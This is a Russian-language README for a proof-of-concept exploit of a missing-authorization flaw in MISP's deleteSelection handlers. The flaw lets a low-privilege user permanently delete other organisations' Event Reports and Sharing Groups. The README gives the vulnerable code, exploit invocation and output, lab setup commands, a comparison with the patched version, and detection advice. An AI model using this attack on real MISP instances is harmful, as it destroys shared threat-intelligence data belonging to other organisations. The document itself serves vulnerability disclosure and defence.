
PoC для CVE-2026-56423: нарушенный контроль доступа в MISP deleteSelection (CWE-862, участник жёстко удаляет Event Reports/Sharing Groups других организаций, CVSS 8.8)
deleteSelection Нарушенный контроль доступаДоказательство концепции для уязвимости отсутствия авторизации в механизмах массового удаления MISP для Event Reports и Sharing Groups. Обработчики deleteSelection авторизуют каждый выбранный элемент с помощью обратного вызова, который игнорирует сам элемент и возвращает глобальное разрешение роли вызывающего (perm_add / perm_sharing_group) вместо проверки владения объектом. Таким образом, малопривилегированный участник (роль "User" по умолчанию) может отправить ID/UUID отчётов, принадлежащих любой организации, и безвозвратно удалить их в рамках всего экземпляра, хотя корректно защищённое действие delete для одного объекта отклоняет точно такой же запрос.
| CVE | CVE-2026-56423 |
| Продукт | MISP (Malware Information Sharing Platform) core |
| Затрагиваемые версии | MISP CE/EE ≤ 2.5.41 |
| Исправлено в | 2.5.42 |
| Класс | CWE-862 — Отсутствие авторизации (нарушенный контроль доступа на уровне объектов) |
| CVSS 3.1 | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| Аутентификация | Аутентифицированный, низкие привилегии (любая роль с perm_add, например "User") |
| Опубликовано | 2026-06-22 |
| Статус | ПОДТВЕРЖДЕНО — участник удаляет отчёт другой организации на 2.5.40; отклонено на 2.5.42 |
app/Controller/EventReportsController.php (тег v2.5.40):
public function deleteSelection($id = null)
{
return $this->CRUD->deleteSelection($id, [
'modelName' => 'EventReport',
...
'checkModifyCallback' => function($itemId) {
return $this->userRole['perm_add']; // игнорирует $itemId → глобальное булево значение роли
},
]);
}
CRUDComponent::deleteSelection вызывает этот checkModifyCallback для каждого выбранного идентификатора и удаляет объект, если он возвращает true:
$canModify = call_user_func($options['checkModifyCallback'], $itemId, $item);
if (!$canModify) { $fails[] = $cid; continue; }
if ($Model->delete($itemId)) { $successes[] = $cid; }
Поскольку обратный вызов возвращает $this->userRole['perm_add'] — глобальное булево значение, которое равно true для роли "User" по умолчанию — владение целевым отчётом никогда не проверяется. Сравните с действием delete($id) для одного объекта, которое корректно вызывает EventReport::fetchIfAuthorized($this->Auth->user(), $id, 'delete') и отклоняет чужие отчёты.
SharingGroupsController::deleteSelection имеет тот же дефект с использованием perm_sharing_group.
Исправление в версии 2.5.42 (коммиты ada02fa, f99b3f1) заменяет обратный вызов на пообъектную проверку EventReport::fetchIfAuthorized($user, $itemId, 'delete').
Полный разбор — в ANALYSIS.md.
perm_add — встроенная роль User, выдаваемая обычным участникам в многопользовательских экземплярах.MISP.enable_themes = true. Действие deleteSelection защищено в ACL с помощью AND(theming_enabled, perm_add), где theming_enabled соответствует настройке MISP.enable_themes. Эта настройка выключена по умолчанию, но является обычным флагом интерфейса, включённым на многих экземплярах (она обеспечивает работу пользовательского интерфейса v2 index/list). При отключённой настройке действие возвращает HTTP 403 до запуска ошибочного обратного вызова.python3 exploit.py https://127.0.0.1:443 \
--attacker-key <contributor_authkey> \
--admin-key <admin_authkey_used_only_to_confirm_the_target> \
--report-id <id_of_a_report_owned_by_another_org>
[1] contributor legit delete/2 -> HTTP 404 (DENIED (expected))
[2] contributor deleteSelection [2] -> HTTP 200 {"saved":true,"success":true,"name":"EventReport deleted."...}
[+] CONFIRMED: contributor hard-deleted another org's Event Report via deleteSelection
cd lab
./setup.sh # MISP core v2.5.40 + attacker org + contributor + victim report
source /tmp/misp_poc.env
python3 ../exploit.py https://127.0.0.1:443 \
--attacker-key "$CONTRIB_KEY" --admin-key "$ADMIN_KEY" --report-id "$VICTIM_REPORT_ID"
# patched build denies the same request:
CORE_RUNNING_TAG=v2.5.42 ./setup.sh
./teardown.sh
| Запрос (участник с низкими привилегиями, чужой отчёт) | v2.5.40 | v2.5.42 |
|---|---|---|
корректно защищённый delete/{id} | 404 отклонено | 404 отклонено |
deleteSelection того же отчёта | 200 — безвозвратно удалено | 403 — "Не удалось удалить"; отчёт сохранён |
Один и тот же запрос меняется с успешного на отклонённый после исправления, а корректно защищённое удаление одного объекта отклоняется в обеих версиях — доказывая, что ошибка заключается в отсутствии пообъектной авторизации в deleteSelection, а не в неправильной настройке учётной записи. Полная запись — в EVIDENCE.txt.
Любой малопривилегированный пользователь на общем экземпляре MISP может безвозвратно удалить Event Reports — аналитические записи, привязанные к событиям угроз — и Sharing Groups, принадлежащие другим организациям, в масштабах всего экземпляра. Это нарушение целостности/доступности на уровне разных арендаторов платформы киберразведки, на которую полагаются CERT, ISAC и SOC.
EventReport::fetchIfAuthorized($user, $itemId, 'delete') для каждого выбранного элемента; аналогичный подход используется для Sharing Groups.Проверяйте журналы MISP на наличие запросов EventReports/deleteSelection (и SharingGroups/deleteSelection), в которых организация действующего пользователя отличается от организации-владельца удалённого объекта.
Исследование и PoC от Caio Fabrício (@BiiTts).
MIT — см. LICENSE.